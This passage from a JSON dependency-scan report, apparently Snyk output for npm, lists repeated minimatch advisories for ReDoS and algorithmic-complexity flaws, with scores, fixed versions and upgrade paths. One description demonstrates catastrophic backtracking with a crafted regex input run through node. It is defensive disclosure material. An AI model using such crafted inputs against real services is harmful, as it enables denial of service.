Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 